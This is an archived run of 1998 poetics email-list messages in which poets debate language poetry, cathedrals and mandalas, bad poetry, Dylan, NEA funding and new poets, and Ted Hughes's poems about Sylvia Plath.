When did the underlying assumption of american poetry go from Frank O'Hara's "I'm assuming everything is all right and difficult" to John Cougar Mellencamp's "Nothing ever matters and what if it did"?

*

Are mandalas and cathedrals equivalent structures? I hear tell that both are supposed to be formal structures that when meditated upon reveal the image of heaven. Kent, Eliot, somebody jump in here.

*

Did nobody see Starship Troopers? What an amazing movie!

*

OK, so accepting that poets are _proforma_ liars and thieves, how do we as a _union_ justify that behavior? That we have a higher order we're following? And if we are as a class completely reprobate, do we have, um, standards? Honor? As much as the non-participants want to say tut tut, let us have no binaries here, think -- can poetry call attention to itself _without_ some serious us and them action? It is much doubted. Or maybe justification isn't what happens in those essays, articles, blurbs, etc. Public relations, so they tell me, was invented when Rockefeller handed out dimes to starving children. Ladies and gentlemen, no program you have written will keep you awake -- you are tired! So! sleep. We will wake you. And then, when we're sleepy, maybe we will have invented an alarm clock, maybe not.

With love and concern,
Your contemporary

↑ Index

560. Charles Bernstein
msg from Paul Zukofsky
Mon 19 Jan 1998

Paul Zukofsky asked me to forward this message to the list. Please pass the request on to anyone you think might be interested:

"I am looking for someone to compile, _lightly_ edit, and annotate Zukofsky's _Index of American Design_, as soon as possible. While there is currently no contract for publication, I feel we would be able to obtain one."

Paul Zukofsy also notes that he is interested in working with someone who might like to write a biography of his father.

Correspondence to Paul Zukofsky can be sent to the UB Poetics Program and we will send it on to him:

c/o Poetics Program
438 Clemens Hall
State University of New York
Buffalo, NY 14260

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561. KENT JOHNSON
Re: Mandalas / cathedrals / insects / thieves
Mon 19 Jan 1998

On Jan 19, Jordan Davis wrote:

> *Are mandalas and cathedrals equivalent structures? I hear tell that both are supposed to be formal structures that when meditated upon reveal the image of heaven. Kent, Eliot, somebody jump in here.*
>
> *
>
> *Did nobody see Starship Troopers? What an amazing movie!*

Well to me, Jordan, Starship Troopers, as very much as mandalas or cathedrals, may reveal the image of heaven.

Don't you love it when the bugs blow up? It's like poetry wars!

Kent

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562. **Michael Magee**
Re: Langpods
Mon 19 Jan 1998

Man, I wish I had intended it! but I'm afraid just a typing-disabled version of "us and them" - although, didn't Pound himself say something like, "All accidents sanctioned by the author"? -m.

According to d
powell: >
> I appreciate the coinage of the "us and then" mentality.
>
>
==========
=====
> D A Powell [redacted]
>
==========
=====
>
>
> Michael Magee wrote:
> Besides, why always the manichean approach? Too much >us and
> >then spoils the list. -m.
> >
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> >In-Reply-To: <[redacted]> from "Dale >Smith" at Jan
> > 19, 98 10:01:24 am
> >
> >
>

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563. **Hank Lazer**

Re: Dylan, Visual Poetics, & Jake Berry

Mon 19 Jan 1998

My gratitude to one & all for a spirited, informative, interesting wave of e-discussion, especially the Dylan and visual poetics strands.

*

I've been listening for the past few weeks to a new CD, Shadow Resolve, by Jake Berry. The latest installment--Book Two--of his ongoing holy text BRAMBU DREZI is due out in a few months from Pantograph Press. If you don't know Jake's poetry, Book One of BRAMBU DREZI appeared from Bob Grumman's Runaway Spoon Press (1993), complete with all sorts of visuals--a kind of fusion of Klee/Miro and a biology/chemistry textbook--in the service of a visionary project.

The CD, Shadow Resolve, strikes me as very much in keeping with Dylan's lyrics of the Highway 61 / Blonde on Blonde era. (Jake claims other affinities as well: Neil Young, Doc Watson, Hank Williams, Robert Johnson...) Jake's CD is the first on the Front Porch Records label. Recorded at his homw (9th Street Laboratories, Florence, AL--where the Experioddicist e-zine arises as well), the

CD was mastered at FAME studios, Muscle Shoals, AL. Basically, it's 10 tracks--great lyrics--Jake on vocals, harmonica, guitar.

If you're interested, order CDs at $12 (included postage/handling) from Jake Berry, either e-mail or snail mail:

e-mail: [redacted]
snail mail: Jake Berry
Ninth St. Labs
111 Teks St.
Florence, AL 35633

a snippet from track #2: From a String of Pearls

Mary undoes her perfumed hair
and dries the master's wounded feet
to hide the swans of Avalon
from the Penteteuch's retreat
In caves of the antlered dancer
where Broadway meets divine
I clipped your robes to save your soul
when you hated your own life

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564. Dale Smith
Re: Langpods
Mon 19 Jan 1998

For views on Tom Clark's "latest" see Poetry Project Newsletter, winter issue.

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565. Harold Rhenisch
Re: Mandalas / cathedrals / insects / thieves
Mon 19 Jan 1998

Cathedrals are very imposing structures. Take the Freiburg cathedral. The nave is all gold and glitter inside, for that is the focus of power. Outside, the sandstone is encrusted with gargoyles, this world of demons trying to get in. Compare that to the tiny village churches of northern France, north of Charlesville or Sedan, to which the houses of the village cling, like limpets to a rock.

In Freiburg, again, the side doors are each guarded by an angel, with a sword, providing safe passage. Inside is stillness, a forest of stone, rising to imposing

height, designed to make one incredibly small, and it works well at that. It is also a crypt. My take on it is that it has captured space, held it inviolate from the corrupt world, and purified it over centuries, carrying it to paradise, when *all* of time (and similarly life and death) shall be dismissed, as it is in the cathedral.

The Marienkirche in Constance has, in the centre of the ceiling, a small oval of plaster, on which is painted the eye of God, in a blue sky with fluffy white clouds. He's watching, always. We take our place, on the floor of his creation. His sky is situated, not as an over-arching blue dome, but in the midst of a grander scheme, lines of tension, so to speak, flying buttresses, which are manifested or given worldy shape as the cathedral.

In the Grossmuenster in Zurich, the doors are cast out of iron. Each door is divided into squares, and each square depicts a story from the Bible. One door is the Old Testament, one the New. They are incredibly heavy, yet can be opened with a light touch of the hand. By passing through their gateway one enters the interior of the Word.

Harold Rhenisch
[redacted]

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566. David Kellogg
Re: Langpods/Word to your Mother
Mon 19 Jan 1998

Dale, am I correct in noting that you seem a little tense?

As someone who has moved slowly (both in reading and practice) from the dominant "workshop" mode into a more experimental poetry, I find your characterizations of language writing in general (as well as Bromige's piece in particular) pretty unrecognizable.

As for _Dark City_ and my mother: well, unless you're gonna split hairs, _my father and his wife_ (a mathematician and a "homemaker") went to a Bernstein reading in DC last year and really dug it. I believe my father got _Dark City_ at the reading, or perhaps soon afterward. He thinks CB is the bee's knees.

Try to calm down.

Cheers,
David
~~~
~~~

[redacted] Program in Writing and Rhetoric
[redacted] Durham, NC 27708
FAX [redacted] http://www.duke.edu/~kellogg/

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567. Daniel Zimmerman
Re: Mandalas / cathedrals / insects / thieves
Mon 19 Jan 1998

Jordan Davis wrote:
>
> Are mandalas and cathedrals equivalent structures? I hear tell that both
> are supposed to be formal structures that when meditated upon reveal the
> image of heaven. Kent, Eliot, somebody jump in here.
>
>
Hi, Jordan.

An interesting point. Mandalas seem to me like "magic eye" pictures, except that they require trifocal vision [not necessarily an effect of aging; '3rd eye'] in order to make them 'spiritually equivalent' to _cathedrals_ [< L. sit + down, i.e., seat (of authority, of power)]: the center that does hold. Also, despite their three- dimensionality, cathedrals seem to me like texts/rites that require traversal via 'stationing' [e.g., of the cross], so one sees their story cumulatively, whereas mandalas offer the kind of 'single image' for which Pound exalted the Divine Comedy, or Blake's 'expanded moment.'

.
. .
|
_
--Dan Zimmerman

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568. d powell
Re: Bad Poetry
Mon 19 Jan 1998

David,

I'll see what I can do about finding the manifesto of "Badism" (from the term coined by J. Lennon) and its followup essay "A Brief, Yet Helpful Guide to Bad Poetry"--I'm sure they're buried in a sock drawer somewhere, which makes

them harder to retrieve than one might suspect, especially given my penchant for socks.

As I recall, at the time, I was trying to establish an aesthetics for bad poetry. While there seem to be so many opinions as to what makes a good poem, the criteria for a bad poem seemed much more universally-arrived-at-able.

I did for a time then set out to write bad poems, because I thought that if I could attain badness through intent, then I could also attain greatness through same (as soon as I figured out what greatness was in a poem). Unfortunately, my poems were not apparently bad enough. In fact, they were not unlike what passes for good poetry. My conclusion was that whether a poem was good or bad remained largely a matter of opinion (Lyn Hejinian recently confirmed this when she explained to me how she had discovered the simple truth that one argues for a poem because one likes it). David, you once said something that I think is applicable: "Being a poet is after all a matter of reputation. You're a poet because other poets say you are." And indeed I find that a poem is good, bad or etc. largely because we say so. I find it strange, for example, that Amy Lowell is still dismissed by folks who have read all of two poems by her (the unfortunate ones that keep cropping up in anthologies) largely due to Pound's dismissal of her. I trust Pound as a reader, but not as a personality, and I think Amy pushed him the wrong way. And (sheepishly) I admit that I like many of her poems and have preferred them to poems by Mina Loy (for example). Perhaps I like the poems because I like the idea of Amy, brash, butch and forceful. And yet, in "Venus Transiens," the most delicate ear...

I'll go through my socks this week, if you like.
Doug
==========
D A Powell [redacted]
==========

david bromige wrote:
>Doug, I yield to you in this matter. After all, you did give us >the "Bad
>Poetry manifesto" a few years ago.(Would you post it to this >List?) De
>gustibus non disputandum would be my motto, except that questions >of taste
>are what people persecute one another for all over the world, all >the time.
>"One [person's] meat is another [person's] poison" makes more >sense. I
>can't believe what some people think is good poetry, and I cant >even
>believe that I once thought such-&-such was good poetry, because >today it
>strikes me as bad. Here in California (as you know), one strives >for the
>value-free evaluation : "It's all part of the pile . . " But I >really

>would like a dollar back from the State for each bad poetry >reading I've
>sat through--I could send my kids to graduate school. "Used" >language or
>whatever the wcw quote was (it's hidden behind my own >message-in-
progress,
>and I can't be bothered to look for it)--well, Flaubert's >"Dictionary of
>Received Ideas", and the recent take on it from The Impercipient, >are both
>marvelous fun. It's all in how we use used language. Poetry >recycles
>language, we cd say.
>
>"O spade, wherewith Wilkinson hath delved,"--I think I have that >right--is
>bad, dont you agree? And it's Wordsworth. A lot of bad poetry >turns up
>intermittently among not-so-bad poetry. Theres plenty of it in >my oeuvre.
>Its the unremittingly bad that knocks the stuffing out of a >reader/auditor.
>
>
>I do wonder that people think they can write (good) poetry >without knowing
>the equivalent of scales & chords. Just because we talk all our >lives, but
>most of us seldom sing, I guess. What _is_ the equivalent of >scales &
>chords? It cd be writing sonnets & pantoums & villanelles, or it >cd be
>reading 50 books of poetry published before 1940. But all the >scales and
>chords there are, wont necessarily produce >surprising/pleasing/stimulating
>music. Me, I'm going to lie on the couch and read William >MacGonnigal. Go
>for it! David
>
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>Subject: bad poetry
>To: [redacted]
>
>

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569. **pritchpa**

Re: Mandalas / cathedrals / insects / thieves

Mon 19 Jan 1998

Cathedrals have it common with mandalas in as much as they are drawn up according to some notion of sacred or symbolic geometry in order to serve as meditational devices for focussing the outward as well as the inward gaze.

Chartres is a good example: the Rose Window is a famous example of a Western mandala. Less well known, perhaps, is the maze in the cathedral's entrance, which mapped a symbolic route for the soul's travels and by which one of the faithful could, in walking it a sufficient number of times, enact the journey to Jerusalem which he or she might not otherwise be able to afford. It may be useful too to think of a cathedral as fully functional only when it was full of the townsfolk for whom it was built. Amiens could, when it was first built, accomodate all 10,000 of its people. The Super Bowl notwithstanding, there's nothing comparable to that today.

Patrick Pritchett

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570. **Henry Gould**

Re: Mandalas / cathedrals / insects / thieves

Mon 19 Jan 1998

---

re: mandalas set in self-paddled rotating canoes:

I just finished a poem. It started out with something about "New Year's" etc. I noticed after finishing (finally) (after a weekend of blessed solitude & demonic possession) it had 352 lines (in quatrains, abba). I go to bed (very late). The next day, I realize I have left something, an essential episode, out. I finish it with 2 more quatrains and a 5-line stanza, something about "the year ending". The poem now is a circle of 360 degrees (lines) plus five. a year. - Henry Gould

p.s. the title is "Ancient Light". watch for the Spandrift CD version from your local Wyoming outpost.

p.p.s. re: poetry wars. let me help you guys. it's all about the war between text & voice, letter & presence, person & ink. 70s poetry (following the 60s) had a lot invested in "the natural". Note how Langpo claims to begin with the motto "I hate speech" (Grenier). This explains a lot. By going back to text, Langpo had a lot of unclaimed turf to exploit & mine for all it's worth. Trouble is it's too easy, gets kinda boring without an authentic performer there. But often equatable with all the too-easy unauthentic PERFORMERS they were against.

A lot of internet poets, collagists, visual poetrists, are excited now about jazzing up the scene with multimedia collage. Hey, go for it. I get more out of japanese rock gardens. stick with your metier. Look at what Wallace Stevens, say, could do, just THINKING about visual art. That stream's still running. But I have to admit I've been too busy with my own stuff to care too much about the next generations.

I like that Naples guy, Vico, the one behind Finnegans Wake. He thought writing came before speech, because early speech was a kind of gesture, a simple sign language, hieroglyphics. He equated visual art, poetry, and speech - they're all in the same cabin. I find that a happy thought.

But the difficult thing, oh... putting it into words that sing. that's what poets do. naked words, not lyrics, not scribbles, not politico-aesthetico-academico-yammeryammer-crapola. as Edwin Honig, my old teach, used to illustrate again & again, it's an elusive thing you can't predict, & it's hard to pull off. poetry is rare. or maybe I just like mine medium rare. - Henry Gould

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571. **Maria Damon**
reading thread
Mon 19 Jan 1998

for me the big reading turn-on was first genet, at 15, then somewhat later, at 17 or 18, creely. i'd been taking an "independent study" in creative writing at my rigidly uptight girls' school, with the one teacher who when she looked at my stuff didn't say something like, "oh i can see you never had a real childhood," or some such thing that at the time felt insulting and irrelevant. so this teacher, who was willing to talk about *writing*, had taken a summer course w/ creely or something. i didn't know that, but somehow obviously the influence seeped over, cuz when i was on a bus going up to visit a "boyfriend" in upstate new york i came across creely in an anthology and had the most peculiar feeling, as if the words i was reading on the page were in fact emanating from a point between my ribs, i.e. i was somehow creating them simultaneously with reading them. extraordinarily gratifying, almost psychic, like "yr not alone, others are doing this too." not that my writing was really much like creely's at all. there was also, i cringe to confess, bukowski. but that being the early 70s, it was impossible to be a girl writing poetry without being sent to plath and sexton, with dire predictive undercurrents about how it was all sure to turn out. i couldn't relate to those two at all, except that my mother knew sexton and didn't much like her (felt intimidated by her flamboyant sexuality).

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572. **Maria Damon**
mla reports?
Mon 19 Jan 1998

speaking of barry, etc, is anyone up for reportage a la poetix of various poetix related mla panels, including barry's, aldon's, c funkhouser's, kathy crown's women's long poems extravaganza, and others i may not know about? it's the first time in years i haven't been to mla, and feel the need for some kind of vicarious fix. thanks --i know it's not the most timely request and may be ancient history by now --md

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573. **Bob Grumman**
Re: Dylan, Visual Poetics, & Jake Berry
Mon 19 Jan 1998

This is a multi-part message in MIME format.

Hank:

Thanks much for plugging the first volume of Jake Berry's BRAMBU DREZI, one of the books I'm proudest to have published. Copies still available for $7! Just e.mail an order to me.

--Bob G.

Bob Grumman

[redacted] http://www.geocities.com/SoHo/Cafe/1492

Comprepoetica, the Poetry-Data-Collection Site

----------1B1D130548BE--

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574. Dale Smith
Langpods & the "Material Text"
Mon 19 Jan 1998

It¹s unfortunate that I referred to the Pound/Stein axis. I merely wanted to identify two opposing formal practices of many poets on this list. In all fairness to Stein, I should leave her out of my tirades. Also, mentioning her name often obscures the more immediate issues I want addressed. Regardless. I¹ve spent too much time with Stein to be so reductive about her work. Her books on Picasso, the Autobio and Three Lives all stand out, with others, as subtle, charming and innovative examinations and presentations of the diverse quality and depth of life at the beginning of a new era. More than anyone else she tries, I think mimetically, to alter language to fit her perceptions of a startling new world unlike anything in the past in terms of mechanical and electrical stimulation. I use her name though as being representative of a pattern of language usage among certain poets this century. Although many today practice forms derived from Stein, very few have the artistry, music or ambition to sustain that kind of close examination of life that so intrigued Stein. That kind of exactitude and subtle humor is rarely exhibited in material texts today. Clark Coolidge is really one of the few poets today who can actually use the material text to an advantage. B. Meyer is another. Others with a sensitivity to music and to the exact nature and relation of their perceptions to the mimetic possibilities of language are learning to balance the formal complexities of the material text. Where there are signs of life there is art. My gripe is with the degenerated practice of the material text that so consumes poets today, the langpod and langpod wannabes I have referred to. The material text, for many, serves as an excuse to sublimate not just conflicting, but confused, half-hearted and duplicitous impulses based primarily on power, success and the other predatory issues that consume society as a whole. This can be revealing, but it lacks an integrity and devotion to our perceptive antennae. When life is sucked out of language

nothing is left but this sublimated husk of an only personal desire. The material text at its best is responsive to, and receptive of, life. Langpods exclude life and fill Œtexts[1] with the random debris collected by an arrogantly selective self that can not, or will not, acknowledge the self[1]s role, even in the most methodical and abstract instances. Perhaps formal gestures such as the material text can and will experience the same deprecations of value as iambic verse or heroic couplets (Hi Chaucer!). I think this is certainly the case today.

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575. **J. Kuszai**

Re: Langpods & the "Material Text"

Mon 19 Jan 1998

I want to thank Dale for returning to the poetics list, and I'm glad he's picked up where he left off at the end of the summer. It's difficult to excerpt from his writing but the following leaps out:

"My gripe is with the degenerated practice of the material text that so consumes poets today, the langpod and langpod wannabes I have referred to. The material text, for many, serves as an excuse to sublimate not just conflicting, but confused, half-hearted and duplicitous impulses based primarily on power, success and the other predatory issues that consume society as a whole. This can be revealing, but it lacks an integrity and devotion to our perceptive antennae. When life is sucked out of language nothing is left but this sublimated husk of an only personal desire. The material text at its best is responsive to, and receptive of, life. Langpods exclude life and fill ‘texts1 with the random debris collected by an arrogantly selective self that can not, or will not, acknowledge the self1s role, even in the most methodical and abstract instances."

First off, I want to apologize for the apparent typos, but I am assuming that there is a formatting error in the way my email software receives Dale's messages (does anybody else experience this?). Second, Dale makes a number of very interesting points, which suffer unfortunately from the very evacuation of specificity that I think he might be referring to (note how much his post embodies what he calls "When life is sucked out of language nothing is left but this sublimated husk of an only personal desire"!). I think the conversation might be advanced by the extension of the argument into more developed and sustained critique, rather than bland and vague attacks. It isn't worth really looking into the details of what he's saying here (although I find it very very interesting this quote above) but I have no idea who or what he's talking about. With some

engaged discussion of actual texts (people?) this might be some fun. So, how about it, Dale? Welcome back.

jk

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576. **Pierre Joris**
Re: The Catskill School of Poetry
Mon 19 Jan 1998

Kent, that was a great & useful post -- Wow -- do I dare wade in on this ice fishing scene. cld get wet or frozen feet. but, doggone, here I am up way past my bedtime listening to Visions of Johanna and remembering all of those specific epiphanic moments, but that will have to wait for another post — what I wanted to say was, no Kent, you didn't really dream up that "Catskill school" community, its just that ole friend Don, as good hill people will be, is ever ready to keep them furrinners at bay & won't let you in on the secret community, unless of course you show up with a bottle of Maker's Mark (hey Don, if he does, call me) — if you go out through the back door of that lousy diner he and Chuck have here meetings at (there's a much better one in Redhook, where I used to... but that's another story too) you come out in Lyonesse and a whole range of magico-poetico esoteric landscapes never dreamed of.

Look -- I moved back to the mid-Hudson valley several times and from several continents because I have felt since the late sixties when I first lived here that there was some magick here. And especially poetry. The present stretch is from south of Kingston, where the likes of David Levi- Strauss and Carolee Schneeman nest among the plasticians, as they call visual artists in France, up & through Kingston (with Lydia Davis & Pauline Oliveros) and on to Barrytown & Annandale, i.e. Quasha, Stein, Kelly, Higgins territory, then up through Hudson — Ashbery land — to Albany, Byrd-man-land. And West is Woodstock with Ed Sanders on poetry & various instruments & Marilyn Crispell on piano, & East is the Bershires with Paul Metcalf, plus a medley of poetas, Coolidge, Gizzi etc. (though these last ones are conscious that they live in Mass & kind alook down on us lowland new york catskill hicks).

Now, we don't all get together all the time for jamming on Hegel, but have over the years done so in various visible and invisible formations. (last time I remember doing that was a long time ago when Jed was out here & I had come in from London — wondering if I should join Quasha's Rhinebeck ventures in publishing & restauration or go off to teach & travel in Algeria). But the place is full of such energy nodes -- from late sixties first Bard undergraduate days with Norman Weinstein, Bruce McClelland and Thomas Meyer, to that whole incredible list of interesting & amazing poets who've come out of or through Bard —

just think of Juliana Spahr, Tim Davis, Kimberley Lyons, David Gansz, Drew Gardner, to name but the first names that come to mind. And obviously Robert Kelly, who has been there, central, peripheral, visible, invisible, but a major source of energy for over 30 years now. I may have spent most of my post-teenage years living in Paris, London and New York, but the strongest sense of community — poets' & artists' but also just plain human — even if and maybe exactly because often "unavowable" communities — & the strongest actual experiences of exchange in ideas & inspiration & energy happened here during the thirty years I have known the place. And that's not over — it's ongoing even if often the community is, as Don wld say, more virtual than real. & doggone, this here house is often full with live bodies, eating, drinking talking that poetry talk (& other talk as well) and reading. You're welcome, next time you drive through. & I got to sack out so can't reread and edit this thing down to good email protocol, so here goes as is,

Pierre

> *So you see, I took that and stoked it wildly up, and here I've been, all this time, imagining poets strolling by the Hudson, or sitting around the fire two or threee times a week, earnestly talking about Olson, Hegel, and high mathematics. Hoo boy...*
>
> *Let me try to rephrase what my conjectural points were about this community question, and here I suppose I'm going to sound completely silly again, but so what, because as I recently said to someone b-c, I teach at a community college and don't really have an academic reputation to uphold. It's this: For poetic community, the presence of _bodies in the flesh_, gathered together inside the sound of voices, is key. And it's key because only with mutual human presence can one witness and grow wiser from the falterings and awkwardnesses and qualifications and sudden synchronicities of thought and insight that are intrinsic to any movement toward understanding. I _agree_ with you that this doesn't mean that e-mail lists are not a good thing! Far from it--obviously there's an incredible amount of intelligence that arises here and the medium makes that possible. But the medium also has its flip and "darker side" as I see it. And one thing that I've come to feel is interesting about this list (and correct me list-mates if I'm jsut projecting because maybe I am) is that it is a place, in the first instance, of positioning and _performance_, and one rarely finds a person and poet here openly vulnerable in the sense of groping and stumbling _in the process of thought_, certainly never totally at a loss for what to make of this or that. Nor, consequently, does one often find others entering, and sharing, and making use of, such falterings and false starts. To the contrary: "Thinking" here tends to be sheathed in the finish of performance (the best "finishes" being those that obscure such status), in posts that are eloquent and quite sure of*

themselves, quick to certainty and knife-edged irony, and quick to draw the line of defense. Long posts and bitty short ones. Very careful, everyone of us, and rarely a stutter to be heard. Even as I try to type quickly here and make this be "not careful", I'm going back and changing a whole bunch of stuff to make it sound better, even more natural and spontaneous!

So the medium does that too, I think, amkes it fairly impossible to enter into a relationship to thought and language that is not thoroughly staged --and in that sense, it might be seen as having a contradictory sort of relationship vis a vis the formation of real poetic community that is enabling of the kinds of truly new thinking and work that Ron Silliman laments the absence of, for example, in his Philly Lectures.

****Oh Poets, get together in human form and talk with vulnerable seriousness about difficult books, and reveal, proudly, that _most of the time_, even if you're a big shot, that you don't know what the fuck you're talking about, for this might lead us to places we could never have suspected!!****

All of this stochastic in the extreme, but it's in that spirit that I asked about Clarke, a really hard poet who makes me scratch my head and sound like an idiot when I try to talk about him with my voice box. To"talk" about him here would be a fantastic thing, of course, and all sorts of new and breathtakingly eloquent insights would emerge. But I suspect I might actually learn more _deeply_ about Clarke by participating immediately (like at the diner, with plastic ketchup and mustard bottles under the wall-juke) in the non-mediated, non-edited struggle of others to understand and say, and then sharing in, and being truly changed by, the moments of mutual clarity in which all the false starts and silences inhere. Even if E.O. Wilson is ultimately right that "what we call _meaning_" is nothing more romantic than "the linkage among the neural networks created by the spreading excitation that enlarges imagery and engages emotion," it would be the case that the chaotic background patterns of half-thought rivulets I have engendered iwth others will enter and excite meaning and understanding, making it richer, more fractal, in the human sense of the word. Yes, whatever that all means.

(Emma! More coffee!).

Alright, I suppose I've ruined myself now. I'm a _fifth_ tier sap who needs to spend some time with Of Grammatology. I'm an ice-fisherman who can't catch fish. I am a fool who just screamed I LOVE SPEECH. But I will never forget my vivid, waking dream about the beautful, light-encased men and women of the Catskill School of Poetry.

> *Kent*

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
  — La Rochefoucauld
==========

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577. **George Bowering**
Re: Lisa Jarnot
Tue 20 Jan 1998

> *List members:*
> *Can anybody share the most current snail mail address for Lisa Jarnot, please? I have materials concerning Robert Duncan that won't email.*
> *Thanks, Rich Blevins*

I just sent her something c/o The Poetry Project.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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578. **dbkk**
List member in the news
Tue 20 Jan 1998

Hi everyone, it's Kevin Killian. I was reading the "Chronicle" this morning here in San Francisco and saw the big write up of the Stanford conference on Bob Dylan. Congratulations to Aldon Nielsen, "literature and writing chair at Loyola Marymount University," and a member of this list. Nielsen "offered one of the day's few mischievous views of Dylan's ascension into pop culture legend. Nielsen hopscotched deftly from the Supremes and the "Blues Brothers" movie

to playwright Brendan Behan, critic-philosopher Jacques Derrida and Dylan's own impressionistic novel, "Tarantula," suggesting that Dylan's appropriations of black American culture have been less than pure." Congratulations also on following up Saturday's talk with your reading on Sunday at Canessa Park, which I did attend, a reading pelted with rain but you and Shauna Hannibal were both quite good. Sexy too. And I'm glad I went. Good on ya Aldon!

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579. **Dean A. Brink**

Re: Hughes v Plath

Tue 20 Jan 1998

These are great examples of Orientalism in contemporary poetry. A reference catalogue. PCPRx

Rachel Loden wrote:

> *David R. Israel wrote:*
>
> *LONDON, Jan 17 (Reuters) - British poet Ted Hughes, vilified for more than 30 years over the suicide of his wife Sylvia Plath, has broken his silence by publishing a collection of startling love poems about the affair.*
>
> *More odious than startling, judging from the three poems available on the _Times_ site yesterday. In the second one, he refers to her "African-lipped, laughing, thickly / Crimson-painted mouth . . ." In the third, there's this:*
>
> > *And I became aware of the mystery*
> > *Of your lips, like nothing before in my life,*
> > *Their aboriginal thickness. And of your nose,*
> > *Broad and Apache, nearly a boxer's nose,*
> > *Scorpio's obverse to the Semitic eagle*
> > *That made every camera your enemy,*
> > *The jailor of your vanity, the traitor*
> > *In your Sexual Dreams Incorporated,*
> > *Nose from Attila's horde: a prototype face*
> > *That could have looked up at me through the smoke*
> > *Of a Navajo campfire.*
>
> *I mean, what, no tittering lotus blossoms, no Mexican spitfires, while we're throwing in the kitchen sink? Haven't had this particular chill since coming across words like "Negress" and "Jewess." Which is to say, not in a long time.*
>
> *Bring your Pepto-Bismol to*

> *http://www.sunday-times.co.uk:80/news/pages/tim/98/01/17/timnnfnnf02008.html?1971198*
>
> *Headline from Andrew Motion's review, also on the site: A thunderbolt from the blue: this book will live forever.*
>
> *Rachel Loden*

--
dean brink

[redacted]

interpoetics - poetry of Asia and the Pacific Rim
www.w-link.net/~dean/interpoetics/index.html

↑ Index

580. Steve Evans
The New (was Oy . . . Langpo)
Tue 20 Jan 1998

Having over my years as a list-member watched Ron Silliman repeatedly--and I think with good intentions--try to insult a new generation into existence, I feel more bemused than offended to see him at it again in the passage excerpted by Jacques Debrot from the new *Philly Talks* (which I've not yet received):

> "**what is it about language writing and all that has come after it that there has been no moment nor movement that has crystallized in anything like the same way poetry did in the early 1970s?* For all the anthologies of younger writers, many of then extraordinarily gifted, what do we find in the way of work that is actually new? I think this must be the challenge that faces every younger writer . . . "

While I would confidently put the first books, chapbooks, and editing projects of Lisa Jarnot, Lee Ann Brown, Bill Luoma, Jennifer Moxley, Kevin Davies, Rod Smith, Chris Stroffolino, Peter Gizzi, Juliana Spahr, and many other "young" writers up against any work done at a comparable age by any language poet, I do think that one material condition has greatly distinguished the task of emergence after 1989 from the one faced by Ron's generation in the mid-1970s: the comparative lack of state and federal arts funding for avant-garde writing and publishing projects.

How many of the exceptional magazines and books of 70s language-centered writing would have been brought into existence *without* California arts funding and the NEA? Kit Robinson's excellent *Streets & Roads* folded after one issue for lack of it; *Hills*, *This*, *The Figures*, *Tuumba*, all managed to receive some very significant support, as did Burning Deck and scores of other

hospitable small houses on both coasts and throughout the country. As an experiment, try taking every book by Silliman that received NEA support off your poetry shelf and tell me how much of the alphabet remains. Now do it for all the other usual suspects. See?

I am familiar to the point of nausea with critiques of the NEA, but I think the money it infused--mostly to publishers rather than individual poets, who certainly were often discriminated against for their radical aesthetic commitments--goes a long way toward explaining the difference Ron mistakenly assigns to the novelty-deficient young.

I might also say that the situation is past critical now and shows every sign of declining more, the evangelism of the e-mediasts aside. Jarnot's *Some Other Kind of Mission* was a first book published in the year its publisher, Burning Deck, had its NEA money more or less totally eliminated. Multiply that story fold upon fold and you get something of the picture. The ability to get the new(s) out depends on slimmer and slimmer margins, as the shots get longer and longer. The lack of dynamic new venues for the sustained presentation of work--magazines of course, but more importantly publishing houses--troubles me the most. Hello era of the chapbook with zero circulation, ask England how they've liked it. But against such a backdrop, to impugn the accomplishment of young writers is grossly misplaced. Viewed as they must be in relation to real material conditions, their accomplishment is in many ways ethically as well as aesthetically grander than that of their counterparts who now are the president's age.

Time to sing a new song, Ron.

Steve Evans

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581. George Bowering

Re: Ice Fishing in Wisconsin School of Poetry

Tue 20 Jan 1998

> *Poetry is best spoken from deep in the trout.*
>
> *--Harold Rhenisch*

Aha! A sly reference to that wonderful short story by Billy Hutton!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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582. david bromige
dullard brutes
Tue 20 Jan 1998

I second Joel Kutzai's response to Dale Smith's latest : attach these general aspersions to some particular texts. Elsewise it's all a blather of received opinion "understandable" only to the already-to-Smith's-viewpoint converted. It's vague, so far, and worse, it's cowardly.

Show us the century-penetrating brilliance in a text by Tom Clark, too.

David

↑ Index

583. david bromige
The New (& how to help it along)
Tue 20 Jan 1998

I agree with Steve Evans that a new generation (including those he names) are writing terrific poetry, and I agree that the absence of arts funding is one big change since the 70s. I am not quite sure how this prevents a more general formulation among corresponding poets, of common ground or common goals--which I _think_ was part of Ron Silliman's question.

In any case, I want to remind Steve and the others of my post from nearly a year ago, suggesting ways to raise money for reading series and publications. I said, and repeat now, that I learned this in the course of working with an ad hoc group of environmentalists here in Sonoma County : we needed to hire an attorney, and she needed $16 grand. We held two weekend-long flea-markets in a parking lot that goes with an office building where one of our number has his business. We raised $4 grand each time. We held a "social" at the community center, asking musicians and other entertainers to donate their services, and we made a net profit of $3500.

The rest of the money we came up from our own donations and those of people we solicited.

Sure, it takes time--planning sessions, rounding up junk to turn into antiques,finding big enough pieces of plywood to serve as tables, and the sawhorses to support them, manning the tables. . . But it beats sitting on one's duff bemoaning the cruel fate (and cruel it is!) that got one born too late for an

NEA. It creates or enhances a sense of community, what's more. There could be yard sales for poetry throughout america.

David

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584. **cris cheek**
Re: The New (was Oy . . . Langpo)
Tue 20 Jan 1998

Hi,

Steve Evans writes:

> *The lack of dynamic new venues for the sustained presentation of work--magazines of course, but more importantly publishing houses--troubles me the most. Hello era of the chapbook with zero circulation, ask England how they've liked it.*

I'm not England, but i live here and am one among several who's work is considered almost invisible from the 1980s-90s, by newer generations of poets eager to read their immediates - let alone anything much else (until more recently). The funding dearth in England was politically imposed, but happened to coincide with a period of time when attitudes towards ephemerality and orality were playing themselves out most rigorously. By that i mean, performances were often obscure sites of extremely interesting work imho. Book production did explore the dematerialization of its object status here. This was also a time when performance poets of many persuasions were also forging alliances with practitioners from other art forms and so at least partialliy shifting the boundary of their practice away from conspicuous consumption by literary readers. What i mean by that is that good work happened in movement-based or sound-based or live art-based (and so on) contexts rather than in bookshops or at poetry reading series.

